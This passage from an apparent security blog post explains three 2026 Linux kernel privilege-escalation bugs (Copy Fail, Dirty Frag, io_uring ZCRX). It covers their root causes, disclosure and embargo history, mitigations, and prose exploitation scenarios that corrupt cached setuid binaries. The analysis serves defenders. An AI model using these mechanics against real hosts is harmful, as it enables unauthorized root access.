&lt;li&gt;Logic flaw in &lt;code&gt;algif_aead&lt;/code&gt; — the 2017 in-place AEAD optimization sets &lt;code&gt;req-&amp;gt;src = req-&amp;gt;dst&lt;/code&gt;, allowing &lt;code&gt;splice()&lt;/code&gt;-backed page cache pages to land in the output scatterlist; a 4-byte scratch write during &lt;code&gt;authencesn&lt;/code&gt; tag rearrangement lands in the spliced file&amp;#39;s cached pages&lt;/li&gt;
&lt;li&gt;No race condition, no CAP required, no kernel modules beyond &lt;code&gt;algif_aead&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xint.io/blog/copy-fail-linux-distributions&quot;&gt;732-byte Python PoC&lt;/a&gt;, confirmed root on Ubuntu 24.04, RHEL 10.1, Amazon Linux 2023, SUSE 16&lt;/li&gt;
&lt;li&gt;Affects kernel 4.14 through 6.19.11 / 6.18.21 (regression introduced commit &lt;code&gt;72548b093ee3&lt;/code&gt;, fixed &lt;code&gt;fafe0fa2995a&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/05/01/cisa-adds-one-known-exploited-vulnerability-catalog&quot;&gt;Added to CISA KEV&lt;/a&gt;. Active in-wild exploitation confirmed&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;Copy Fail Disclosure&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Discovered by &lt;a href=&quot;https://xint.io&quot;&gt;Theori / Xint&lt;/a&gt; via AI-assisted scan of &lt;code&gt;linux/crypto/&lt;/code&gt; ( &lt;a href=&quot;https://xint.io/blog/copy-fail-linux-distributions&quot;&gt;Xint write-up&lt;/a&gt;) and reported to Linux kernel security team around 5 weeks before public release&lt;/li&gt;
&lt;li&gt;Theori controlled the disclosure date, so this was not an embargo break. They chose to publish April 29, 2026 before all distros had shipped patches&lt;/li&gt;
&lt;li&gt;Working exploit: 732-byte Python script, no compilation, runs on all affected distros unchanged&lt;/li&gt;
&lt;li&gt;At time of disclosure Arch Linux, Fedora, and Amazon Linux had patches. SUSE, Red Hat, and Ubuntu had mitigation guidance only, no patched kernels&lt;/li&gt;
&lt;li&gt;Theori noted at disclosure that their scan had surfaced additional high-severity vulnerabilities in the same kernel area, which remained under private responsible disclosure at the time&lt;/li&gt;
&lt;li&gt;Interim mitigation (algif_aead disallowlist) widely deployed across the fleet in the days following&lt;/li&gt;
&lt;/ul&gt;&lt;hr/&gt;&lt;h3&gt;Dirty Frag, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-43284&quot;&gt;CVE-2026-43284&lt;/a&gt; + &lt;a href=&quot;https://www.openwall.com/lists/oss-security/2026/05/07/8&quot;&gt;CVE-2026-43500&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Dirty Frag Plain English&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;A Linux kernel page-cache/memory-fragment reuse bug&lt;/li&gt;
&lt;li&gt;The kernel performs in-place crypto operations on memory pages it does not own write rights to. When those pages were originally delivered via &lt;code&gt;splice()&lt;/code&gt;, they remain live pipe pages still owned by the pipe. The kernel skips the step that would take a private copy first. The result is an unintended write landing in the page cache of an attacker-chosen file&lt;ul&gt;
&lt;li&gt;pipe: a kernel-managed buffer that connects two processes &lt;/li&gt;
&lt;li&gt;&lt;code&gt;splice()&lt;/code&gt;is a syscall that moves data between a pipe and a file descriptor without copying it through userspace&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The attacker selects the target by controlling what is spliced where — this is not a write to arbitrary cached data, it is a write into a specific file the attacker targets, including files they only have read access to&lt;/li&gt;
&lt;li&gt;Analogy to help understand: imagine an office that reuses paper work orders. When a new job comes in, the manager hands out a form that is physically still attached to the previous worker&amp;#39;s outbox. When the new worker writes on it, the ink bleeds through automatically to the previous worker&amp;#39;s copy. The attachment was never severed — the shared page reference is the problem, not forgotten erasure. Leftover ownership becomes an active write channel&lt;/li&gt;
&lt;li&gt;Why is this scary?&lt;ul&gt;
&lt;li&gt;Page-cache corruption bugs are extremely valuable for attackers. They can affect binaries, configs, and protected files the attacker can read but is not supposed to modify&lt;/li&gt;
&lt;li&gt;The write is invisible to disk-integrity tooling. IMA, dm-verity, and on-disk checksums operate on the stored file, not the page cache. A Dirty-Frag-modified binary executes from the corrupted in-memory cache — the verified copy on disk is never touched&lt;/li&gt;
&lt;li&gt;Bugs involving cached file data are often easier to weaponize than heap corruption, because they bypass assumptions about read-only files without requiring a separate leak primitive or &lt;code&gt;KASLR defeat&lt;/code&gt;. &lt;ul&gt;
&lt;li&gt;KASLR(Kernel Address Space Layout Randomization) randomizes where the kernel loads itself in memory on every boot. Every function, every variable, every data structure sits at a different address each time. An attacker who wants to overwrite a specific kernel value needs to know its current address first. Defeating KASLR means finding a way to read a kernel address from within an unprivileged process&lt;/li&gt;
&lt;li&gt;Copy Fail and Dirty Frag are scary because you don&amp;#39;t need to know any kernel addresses: your target is a file path (&lt;code&gt;/usr/bin/su&lt;/code&gt;, &lt;code&gt;/etc/passwd&lt;/code&gt;), not a kernel pointer. The page cache is indexed by file and offset — both of which you control as an unprivileged user. No address leak required, no KASLR to defeat, no spray to land correctly. You pick the file, you pick the byte offset, you write. That is why this class sits in a different threat tier from ZCRX, where the full exploitation chain stalls precisely because KASLR defeat is a hard unsolved step.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Historically, this class of bug has produced very practical privilege-escalation exploits(&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2022-0847&quot;&gt;Dirty Pipe&lt;/a&gt;, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2016-5195&quot;&gt;Dirty COW&lt;/a&gt;, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-3493&quot;&gt;OverlayFS PE&lt;/a&gt;,  &lt;a href=&quot;https://www.google.com/search?q=https://www.blackhat.com/us-22/briefings/schedule/%23dirtycred-escalating-privilege-in-linux-kernel-27156&quot;&gt;Dirty Cred&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;Dirty Frag Technical Explanation&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;esp_input&lt;/code&gt; and the RxKAD verify path both receive &lt;code&gt;splice()&lt;/code&gt;-originated &lt;code&gt;skb&lt;/code&gt;s whose fragment pages are backed by pipe pages the kernel does not own. Both skip &lt;code&gt;skb_cow_data()&lt;/code&gt; before in-place crypto, writing into the fragment pages directly and producing an unpermitted write into the page cache of the spliced file&lt;/li&gt;
&lt;li&gt;Deterministic logic bug — no race, no spray, no KASLR defeat required, no panic on failure. Target is a file path and byte offset, both attacker-controlled. High reliability&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/V4bel/dirtyfrag&quot;&gt;Single-binary C PoC&lt;/a&gt;,immediate root on all major distros; &lt;code&gt;algif_aead&lt;/code&gt; disallow (Copy Fail mitigation) does not block this path&lt;ul&gt;
&lt;li&gt;Tested: Ubuntu 24.04, RHEL 10.1, Fedora 44, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10&lt;/li&gt;
&lt;li&gt;Post-run: page cache contaminated — &lt;code&gt;echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;/code&gt; or reboot required; on-disk copy untouched, IMA/dm-verity blind to the modification&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-43284&lt;/strong&gt; — xfrm ESP input (&lt;code&gt;esp_input&lt;/code&gt;)&lt;ul&gt;
&lt;li&gt;IPv4/IPv6 datagram splice paths omit &lt;code&gt;SKBFL_SHARED_FRAG&lt;/code&gt; on UDP skbs; without this flag set, the ESP fast-path treats the skb as safe for in-place decrypt — skipping &lt;code&gt;skb_cow_data()&lt;/code&gt; because it sees no frag_list and an uncloned skb, without checking whether the fragment pages are pipe-owned&lt;/li&gt;
&lt;li&gt;Decrypts over unowned pipe pages, writing crypto output into the page cache of the spliced file&lt;/li&gt;
&lt;li&gt;Requires unprivileged userns; blocked by AppArmor userns restriction on Ubuntu&lt;/li&gt;
&lt;li&gt;Introduced: &lt;code&gt;cac2661c53f3&lt;/code&gt; (2017-01-17, ~9yr exposure); Patch: &lt;code&gt;f4c50a4034e6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;NVD refs point to stable backport commits; mainline fix is &lt;code&gt;f4c50a4034e6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-43500&lt;/strong&gt; — RxRPC / RxKAD verify path&lt;ul&gt;
&lt;li&gt;In-place decrypt over splice-originated frags without COW; no userns required, lower privilege bar than CVE-2026-43284&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rxrpc.ko&lt;/code&gt; not loaded by default on most distros; Ubuntu autoloads it, making the RxRPC path the universal fallback where AppArmor blocks the ESP path&lt;/li&gt;
&lt;li&gt;Chain logic: ESP path covers non-Ubuntu (userns open); RxRPC path covers Ubuntu (&lt;code&gt;rxrpc.ko&lt;/code&gt; autoloaded, userns irrelevant) — blind spots cancel, universal LPE&lt;/li&gt;
&lt;li&gt;Introduced: &lt;code&gt;2dc334f1a63a&lt;/code&gt; (2023-06-08, ~3yr exposure); Patch: &lt;code&gt;aa54b1d27fe0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Specific symbol within RxKAD verify path unconfirmed — verify against &lt;code&gt;aa54b1d27fe0&lt;/code&gt; diff before citing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;Dirty Frag Disclosure&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Discovered by &lt;a href=&quot;https://x.com/v4bel&quot;&gt;Hyunwoo Kim (@v4bel)&lt;/a&gt;, who reported privately to Linux maintainers April 30, 2026&lt;/li&gt;
&lt;li&gt;Linux distro embargo was set for May 12, but was broken externally before patches or CVEs existed&lt;ul&gt;
&lt;li&gt;On May 7, an unrelated third party independently published a working exploit a full explanation on (oss-security)(&lt;a href=&quot;https://www.openwall.com/lists/oss-security/2026/05/07/12)(%5BWrite-up%5D(https://afflicted.sh/blog/posts/copy-fail-2.html)and&quot;&gt;https://www.openwall.com/lists/oss-security/2026/05/07/12)([Write-up](https://afflicted.sh/blog/posts/copy-fail-2.html)and&lt;/a&gt; &lt;a href=&quot;https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo&quot;&gt;GitHub PoC&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;The working exploit was reverse-engineered from the fix commit &lt;code&gt;f4c50a4034e6&lt;/code&gt; publicly available on on &lt;code&gt;netdev/net.git&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A second independent PoC &lt;a href=&quot;https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo/tree/main&quot;&gt;Copy Fail 2: Electric Boogaloo&lt;/a&gt; targeting the same paths posted publicly around the same time.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_SiCk&lt;/code&gt; &lt;a href=&quot;https://www.openwall.com/lists/oss-security/2026/05/07/12&quot;&gt;clarified on oss-security&lt;/a&gt;: &amp;quot;The work is n-day weaponization from a public upstream commit, which is standard practice once a security-relevant fix lands in a public tree&amp;quot; and apologised directly to Hyunwoo Kim&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kim wrote on oss-security: &lt;em&gt;&amp;quot;Because the embargo has currently been broken, no patch or CVE exists&amp;quot;&lt;/em&gt; after consulting &lt;code&gt;linux-distros@vs.openwall.org&lt;/code&gt;. At maintainers&amp;#39; request, he published his full write-up and PoC the same day&lt;ul&gt;
&lt;li&gt;At time of disclosure there were no patches and no CVEs. This was materially worse than Copy Fail&amp;#39;s disclosure state&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CVEs allocated post-facto(CVE-2026-43284 (ESP) and CVE-2026-43500 (RxRPC) assigned May 8)&lt;/li&gt;
&lt;li&gt;AlmaLinux and Ubuntu shipped patched kernels by May 8; RHEL, SUSE, Debian, Fedora acknowledged with patches in progress&lt;/li&gt;
&lt;/ul&gt;&lt;hr/&gt;&lt;h3&gt;&lt;a href=&quot;https://ze3tar.github.io/post-zcrx.html&quot;&gt;io_uring ZCRX freelist OOB write&lt;/a&gt;,&lt;a href=&quot;https://app.opencve.io/cve/CVE-2026-43121&quot;&gt;CVE-2026-43121&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;io_uring ZCRX freelist OOB write Plain English&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Bookkeeping failure caused by two CPU cores trying to clean up the same thing at the same time. The kernel accidentally frees the same object twice and its internal recycling list becomes corrupted. Eventually the kernel writes data outside the memory region it was supposed to use&lt;/li&gt;
&lt;li&gt;That memory corruption could potentially be turned into privilege escalation, though no fully working public exploit chain currently exists. The vulnerable code is part of &lt;code&gt;io_uring&lt;/code&gt;, a high-performance Linux I/O system used for very fast networking and storage operations. The specific feature involved is called ZCRX (“zero-copy receive”)&lt;/li&gt;
&lt;li&gt;The idea behind zero-copy systems is to avoid constantly copying data around in memory and reuse existing buffers instead, which improves performance and reduces CPU overhead&lt;/li&gt;
&lt;li&gt;This is great for speed but makes memory ownership tracking complicated&lt;/li&gt;
&lt;li&gt;Analogy to help understand: rental car company has two clerks. if someone has finished with a rental car, clerk A checks into system &amp;quot;hey there&amp;#39;s a new available car ready to be rented&amp;quot;(CPU0 sees count=1, frees object). By some mistake clerk B also checks the same car into the system(CPU1 sees count=1, frees same object). Now the company&amp;#39;s system thinks there are +2 cars available for renting instead of +1(kernel now accidentally places same object into reusable-object list twice)&lt;ul&gt;
&lt;li&gt;That reusable list eventually becomes corrupted because the kernel thinks it has more free objects than it actually does(the rental car company thinks it has more cars to rent out than it does). Then the kernel writes past the end of an internal array (an OOB, out-of-bounds write)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Attacker can exploit by placing an place an important kernel object next to the corrupted region, damaging it in a useful way, and gradually turn that into more control (heap grooming, slab placement, object spraying). You may hear &lt;code&gt;controlled memory layout manipulation&lt;/code&gt; thrown around when researchers talk about this&lt;/li&gt;
&lt;li&gt;This is less scary than Dirty Frag or Copy Fail&lt;ul&gt;
&lt;li&gt;Dirty Frag/Copy Fail (Dirty Pipe family) are deterministic, easy to trigger reliably, and bypasses KASLR defeat&lt;/li&gt;
&lt;li&gt;io_uring ZCRX freelist OOB (i feel like i&amp;#39;m summoning a computer demon if i have to type this one more time i&amp;#39;m ordering myself some fizzy sodas with real sugar) is harder to exploit because it depends on timing, and multiple CPU cores must race in just the right way. The corruption primitive is weaker, and no complete public root exploit exists as of now. &lt;/li&gt;
&lt;li&gt;The vulnerability requires &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt;, which is a privileged Linux capability for special networking software stuffs. So if an attacker has &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt; you are already in hot waters&lt;/li&gt;
&lt;li&gt;Realistic risk areas include privileged containers, kubernetes workloads with execessive permissions, networking tools, observability agents, service mesh components, etc&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;io_uring ZCRX freelist OOB write Technical Explanation&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Different class from Copy Fail and Dirty Frag(no page-cache write primitive, no COW bypass, no splice involvement). Not deterministic, requires a timing window on SMP&lt;/li&gt;
&lt;li&gt;Less severe than Copy Fail and Dirty Frag&lt;/li&gt;
&lt;li&gt;SMP race condition -&amp;gt;double-free -&amp;gt; heap OOB write into adjacent slab object&lt;/li&gt;
&lt;li&gt;Full exploitation chain (double-free -&amp;gt; slab corruption -&amp;gt; KASLR break -&amp;gt;&lt;code&gt;modprobe_path&lt;/code&gt; overwrite -&amp;gt; uid=0) undemonstrated publicly at time of writing&lt;/li&gt;
&lt;li&gt;&lt;code&gt;io_zcrx_put_niov_uref()&lt;/code&gt; implements a non-atomic check-then-decrement on &lt;code&gt;user_refs&lt;/code&gt;: &lt;code&gt;atomic_read()&lt;/code&gt; followed by a separate &lt;code&gt;atomic_dec()&lt;/code&gt;, serialized against other callers via &lt;code&gt;rq_lock&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;io_zcrx_scrub()&lt;/code&gt; modifies &lt;code&gt;user_refs&lt;/code&gt; via &lt;code&gt;atomic_xchg()&lt;/code&gt; without holding &lt;code&gt;rq_lock&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;On SMP, both paths pass the &lt;code&gt;user_refs == 1&lt;/code&gt; check concurrently; both call &lt;code&gt;io_zcrx_return_niov()&lt;/code&gt; on the same &lt;code&gt;niov&lt;/code&gt;; the same &lt;code&gt;niov&lt;/code&gt; is pushed to the freelist stack twice (double-free)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;free_count&lt;/code&gt; (the stack pointer) exceeds &lt;code&gt;nr_iovs&lt;/code&gt; (the stack depth); subsequent freelist push writes a u32 past the end of the &lt;code&gt;kvmalloc&lt;/code&gt;&amp;#39;d freelist array into the adjacent slab object&lt;/li&gt;
&lt;li&gt;The bug is not a missing bounds check on userspace-supplied &lt;code&gt;rqe-&amp;gt;off&lt;/code&gt; — it is atomicity failure between two kernel teardown paths&lt;/li&gt;
&lt;li&gt;Note: &lt;code&gt;IORING_REGISTER_ZCRX_IFQ&lt;/code&gt; requires &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt;&lt;ul&gt;
&lt;li&gt;The ze3tar PoC escalation path as written requires &lt;code&gt;CAP_SYS_ADMIN&lt;/code&gt;. Jens Axboe on oss-security: &lt;em&gt;&amp;quot;If you already have CAP_SYS_ADMIN, what is the point?&amp;quot;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Valid in-scope workloads: containers with &lt;code&gt;NET_ADMIN&lt;/code&gt; in &lt;code&gt;securityContext&lt;/code&gt; running kernel ≥ 6.12 without the backport&lt;/li&gt;
&lt;li&gt;ZCRX introduced in 6.12; kernels 5.15, 6.1 LTS not affected&lt;/li&gt;
&lt;/ul&gt;&lt;h4&gt;io_uring ZCRX freelist OOB write Disclosure&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Kai Aizen (&lt;code&gt;snailsploit.com&lt;/code&gt;) found the race, authored the fix, submitted upstream Feb 18, 2026&lt;/li&gt;
&lt;li&gt;Patch &lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=003049b1c4fb8aabb93febb7d1e49004f6ad653b&quot;&gt;&lt;code&gt;003049b1c4fb&lt;/code&gt;&lt;/a&gt; was merged and backported to stable before any public blog post&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://app.opencve.io/cve/CVE-2026-43121&quot;&gt;CVE-2026-43121&lt;/a&gt;, published May 6, 2026&lt;/li&gt;
&lt;li&gt;CVE request Filed on oss-security by Mohamed Salem Eddah. Solar Designer flagged it as likely AI-generated, original finder (Aizen) was not the requester&lt;/li&gt;
&lt;li&gt;ze3tar blog. Published post-patch with PoC; Solar Designer and Axboe reviewed the exploit code on-list and called it AI slop; ze3tar acknowledged on &lt;a href=&quot;https://seclists.org/oss-sec/2026/q2/444&quot;&gt;oss-security&lt;/a&gt; the bug was already fixed and the escalation path was incomplete&lt;/li&gt;
&lt;li&gt;No embargo was involved: Aizen submitted a patch through normal kernel development, not a private linux-distros report; &lt;code&gt;003049b1c4fb&lt;/code&gt; was public the moment it merged, making the fix commit itself the de facto public disclosure&lt;/li&gt;
&lt;li&gt;Mohamed&amp;#39;s CVE request and ze3tar&amp;#39;s blog are both downstream of that public commit, not of any private disclosure. This was the same mechanism that broke Dirty Frag&amp;#39;s embargo, except here no embargo existed to break because the fix was in place&lt;/li&gt;
&lt;li&gt;Process was arguably cleaner than coordinated disclosure: patch reached users before public exploitation analysis followed. The dysfunction was limited to Mohamed filing a CVE for a bug he didn&amp;#39;t find and ze3tar overstating exploitation status, neither affected the patch timeline or user exposure window&lt;ul&gt;
&lt;li&gt;Arguably, the real crime with io_uring ZCRX freelist OOB write(i am sooo done) was how the CVE was published around the same time as Dirty Frag and Copy Fail, and appeared on first look as something of the same seriousness due to the way it is written. When everything seems urgent and scary, nothing is (RIP to everyone&amp;#39;s blood pressure)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Embargo and Disclosure Etiquette in the age of LLMs&lt;/h2&gt;&lt;h3&gt;What&amp;#39;s an Embargo&lt;/h3&gt;&lt;p&gt;An embargo is a coordination norm. It is not an NDA, and not enforceable against the entire internet. It&amp;#39;s really a code of honour, plain to speak, a bunch of people in an exclusive group going &amp;quot;ok you won&amp;#39;t tell and i won&amp;#39;t tell, but here&amp;#39;s what we are going to do, and here&amp;#39;s when we will do it&amp;quot;. &lt;/p&gt;&lt;p&gt;Embargoes break when&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;A fix lands publicly before patches are broadly available&lt;/li&gt;
&lt;li&gt;Someone outside the list independently finds the bug from a public commit&lt;/li&gt;
&lt;li&gt;The bug class is obvious from the diff&lt;/li&gt;
&lt;li&gt;The cost of staying quiet exceeds the benefit&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;The CVEs we have discussed so far are not the only recent discoveries to have had a non-typical disclosure process. CrackArmor (disclosed March 12, 2026 by Qualis TRU, patches CVE-2026-23268 through CVE-2026-23411, March 19 to April 1) CrackArmor enables unprivileged users to create fully-capable user namespaces, effectively getting around Ubuntu&amp;#39;s user namespace restrictions implemented via AppArmor. The vulnerabilities were shared with Canonical back in July 2025, but did not have CVEs assigned at the time of disclosure. Qualys noted &amp;quot;communication delays&amp;quot; and sent follow-ups to Ubuntu&amp;#39;s security team and Canonical&amp;#39;s AppArmor developers in December 2025 and January 2026. &lt;/p&gt;&lt;h3&gt;Soo Are We Just Skipping Embargoes Now?&lt;/h3&gt;&lt;p&gt;Before we had LLMs, we could count on some assumptions:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Bugs stayed private until patches were ready&lt;/li&gt;
&lt;li&gt;Attackers needed meaningful time to weaponize published details&lt;/li&gt;
&lt;li&gt;Distros could ship before exploitation became widespread&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;These assumptions are not as reliable now. LLMs make reverse-engineering more accessible. AI is incredibly bad at writing reliable secure code, but AI is very very good at poking holes and finding vulnerabilities. This lands the industry in a bad situation: AI go brrr at helping developing exploits for skilled attackers, but AI go less brrr for helping with developing patches (and not all patches are written with AI assistance). Patch authorship isn&amp;#39;t the bottleneck here, what&amp;#39;s slow is everything after: validation, backporting across kernel versions, regression testing, distro integration, and shipping. That pipeline moves at human-organizational speed regardless of LLM capability, and attackers with motivation and a public fix commit don&amp;#39;t have to wait for any of it.&lt;/p&gt;&lt;p&gt;Response is slower than attackers with motivation and it&amp;#39;s not because people aren&amp;#39;t smart enough, it&amp;#39;s just the way it is in an LLM-powered security landscape.&lt;/p&gt;&lt;p&gt;Closing the gap between mitigation and attack means boring reliable work and keeping your house clean, we all panic less when we have mitigations in place and prepare for disasters ahead of time:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Know your kernel exposure&lt;/li&gt;
&lt;li&gt;Restrict unprivileged user namespaces on hosts that do not need them&lt;/li&gt;
&lt;li&gt;Patch faster where it matters; build the process before you need it&lt;/li&gt;
&lt;li&gt;Reduce dangerous capabilities at the workload level&lt;/li&gt;
&lt;li&gt;Block unused kernel surfaces — modules, syscalls, io_uring&lt;/li&gt;
&lt;li&gt;Watch sensitive subsystem commits directly&lt;/li&gt;
&lt;li&gt;Detect behavior, not CVE names&lt;/li&gt;
&lt;li&gt;Keep an IPsec dependency map current and tested&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Open development and coordinated embargoes do not always work the way we want. A public fix commit is a public disclosure, whether anyone intends it to be or not. Kernel maintainers and researchers are working under real constraints. The process failures here were largely structural, not individual. Let&amp;#39;s have empathy for that is warranted. &lt;/p&gt;&lt;h2&gt;Impact and Practical Exploitation Scenarios&lt;/h2&gt;&lt;p&gt;These discoveries are host-kernel territory. Container namespaces do not protect you from a vulnerable host kernel. Containers share the host kernel — a page-cache write from inside a container lands in the host&amp;#39;s page cache, affecting every process on the host reading the same file, including processes outside the container entirely. Namespace isolation is filesystem and process namespace isolation; it does not isolate the page cache. If an unprivileged process inside a container can reach the vulnerable path, the result is host root. Impacted environments include but are not limited to multi-tenant Kubernetes nodes, CI runners, build farms, shared developer platforms, and any environment running arbitrary workloads.&lt;/p&gt;&lt;p&gt;Dirty Frag mitigations also have real operational cost:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Blocking &lt;code&gt;esp4&lt;/code&gt; and &lt;code&gt;esp6&lt;/code&gt; breaks kernel-space IPsec — strongSwan, Libreswan, and any stack using the kernel ESP data plane cannot safely apply this&lt;/li&gt;
&lt;li&gt;Blocking &lt;code&gt;rxrpc&lt;/code&gt; mainly affects AFS clients and is safe to apply on almost everything else&lt;/li&gt;
&lt;li&gt;VPN providers running IKEv2/IPsec with kernel ESP have no viable interim mitigation that preserves service — the module blacklist is the data plane. The only fix is the kernel patch. WireGuard is not affected; it does not use the xfrm/ESP path&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;em&gt;Addendum Post Publish: Fragnesia (CVE-2026-46300) is a pre-existing latent bug in the same surface area that became practically exploitable as a consequence of the Dirty Frag patch — the fix changed kernel behavior in a way that exposed it. The mitigation is identical: esp4, esp6, rxrpc blacklist. The kernel patch is on netdev awaiting merge; no stable backport exists as of May 13, 2026.&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Copy Fail Practical Exploitation Scenario&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Abstract Scenario&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;An unprivileged user opens a readable setuid binary and splices it into an AF_ALG socket&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;algif_aead&lt;/code&gt; in-place optimization leaves the page cache pages shared with the splice pipe&lt;/li&gt;
&lt;li&gt;A 4-byte scratch write during &lt;code&gt;authencesn&lt;/code&gt; tag rearrangement(internal crypto buffer rearrangement step) lands in the page cache of the spliced file at an attacker-influenced offset&lt;/li&gt;
&lt;li&gt;The in-memory copy of the binary is now modified without any write permission to the file, without touching disk, and without invalidating IMA measurements or dm-verity&lt;/li&gt;
&lt;li&gt;Result: next execution of that binary runs the attacker&amp;#39;s modified version as root&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;em&gt;I Heard People Like Stories&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;A developer has a shell account on a shared Linux build server running an unpatched kernel&lt;/li&gt;
&lt;li&gt;They write a 732-byte Python script, no compilation required, and run it as their normal unprivileged user&lt;/li&gt;
&lt;li&gt;The script splices &lt;code&gt;/usr/bin/su&lt;/code&gt; into an AF_ALG socket and triggers the scratch write at a controlled offset&lt;/li&gt;
&lt;li&gt;The in-memory copy of &lt;code&gt;su&lt;/code&gt; is silently patched, a subsequent execution of &lt;code&gt;su&lt;/code&gt; could execute attacker-modified page-cache contents&lt;/li&gt;
&lt;li&gt;Result: root on the build server, access to signing keys, source repositories, and any credentials cached on that host&lt;/li&gt;
&lt;/ul&gt;&lt;hr/&gt;&lt;h3&gt;Dirty Frag Practical Exploitation Scenario&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Abstract Scenario&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;An attacker splices a target file into a network socket path that performs in-place crypto&lt;/li&gt;
&lt;li&gt;The kernel skips &lt;code&gt;skb_cow_data()&lt;/code&gt; — the skb&amp;#39;s fragment pages are pipe pages still referencing the file&amp;#39;s page cache&lt;ul&gt;
&lt;li&gt;The written value is the decrypted crypto output, which is attacker-influenced but not arbitrary. This is sufficient to corrupt branch instructions, function pointers, or auth logic in the target binary&lt;/li&gt;
&lt;li&gt;What the attacker can influence is the targeted file and write offset — no KASLR defeat, no spray required&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;In-place decrypt writes crypto output directly into the page cache of the spliced file&lt;/li&gt;
&lt;li&gt;Result: in-memory modification of an attacker-chosen file including setuid binaries, auth helpers, or runtime configs; on-disk copy and integrity tooling untouched&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;em&gt;I Heard People Like Stories&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;A CI/CD runner executes untrusted pull request builds in low-privilege containers on shared Ubuntu workers&lt;/li&gt;
&lt;li&gt;A malicious contributor submits a build script that triggers the RxRPC path&lt;/li&gt;
&lt;li&gt;The script abuses the kernel networking path to modify the cached pages of &lt;code&gt;/usr/bin/sudo&lt;/code&gt;. The modified binary is now live in memory across the entire host, while the on-disk copy passes all integrity checks&lt;ul&gt;
&lt;li&gt;shared page cache means every process on the host reading &lt;code&gt;/usr/bin/sudo&lt;/code&gt; hits the same corrupted pages&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Result: next &lt;code&gt;sudo&lt;/code&gt; invocation on the worker executes the attacker&amp;#39;s payload, exposing deployment credentials, secrets, and neighbouring workloads&lt;/li&gt;
&lt;/ul&gt;&lt;hr/&gt;&lt;h3&gt;io_uring ZCRX Freelist OOB Write — Practical Exploitation Scenario&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Abstract Scenario&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
